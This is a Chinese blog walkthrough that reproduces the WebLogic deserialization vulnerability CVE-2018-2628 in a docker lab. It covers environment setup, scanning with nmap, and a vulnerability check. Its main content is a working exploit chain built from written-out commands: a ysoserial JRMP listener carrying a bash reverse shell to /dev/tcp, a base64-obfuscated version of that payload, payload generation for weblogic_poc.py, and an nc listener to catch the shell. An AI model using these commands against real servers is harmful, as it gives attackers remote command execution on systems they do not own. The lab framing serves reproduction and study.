cve-2018-2628 Weblogic反序列化漏洞实现反弹shell

测试机:MacBook-Air
测试机IP:192.168.0.100
靶机IP:192.168.0.100:7001
环境: docker
工具:CVE-2018-2628漏洞利用工具包 下载

一. 环境搭建

将环境vulhub的环境git到本地

git clone https://github.com/vulhub/vulhub.git

接着 cd weblogic/CVE-2018-2628
在这里插入图片描述
输入docker-compose up -d 启动

docker-compose up -d

在这里插入图片描述

启动后访问页面192.168.0.100:7001

在这里插入图片描述
出现这个页面说明已经成功了

二. 漏洞测试

使用nmap进行扫描

nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info

在这里插入图片描述
结果显示开启了T3协议

下载 CVE-2018-2628漏洞利用工具包
在这里插入图片描述
修改url.txt 将里面的IP 改成目标IP
在这里插入图片描述

python CVE-2018-2628-MultiThreading.py

在这里插入图片描述
出现 is vul CVE-2018-2628 说明漏洞存在

三. 漏洞复现

启动JRMP Server:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]

[command] : 需要执行的命令
[listen port] : JRMP Server监听的端口。

这里我们反弹shell

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'

此处特别注意!!!

由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要进行一次编码。

转化工具链接 : http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
编码后的命令如下

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'

运行命令
在这里插入图片描述

出现 * Opening JRMP listener on 8888

说明JRMP Server正在监听8888端口

执行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo

复制结果
在这里插入图片描述

将weblogic_poc.py 中的 PYLOAD进行替换

在这里插入图片描述

并将此处IP改为目标 IP
在这里插入图片描述
使用 nc 进行监听本地的9999端口
在这里插入图片描述
执行

python weblogic_poc.py

在这里插入图片描述
可以看见反弹shell成功了
在这里插入图片描述
执行命令试试
在这里插入图片描述

搞定~

参考链接

http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.jianshu.com/p/6649118ba7b6
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

 

 

你可能感兴趣的:(cve-2018-2628 Weblogic反序列化漏洞实现反弹shell)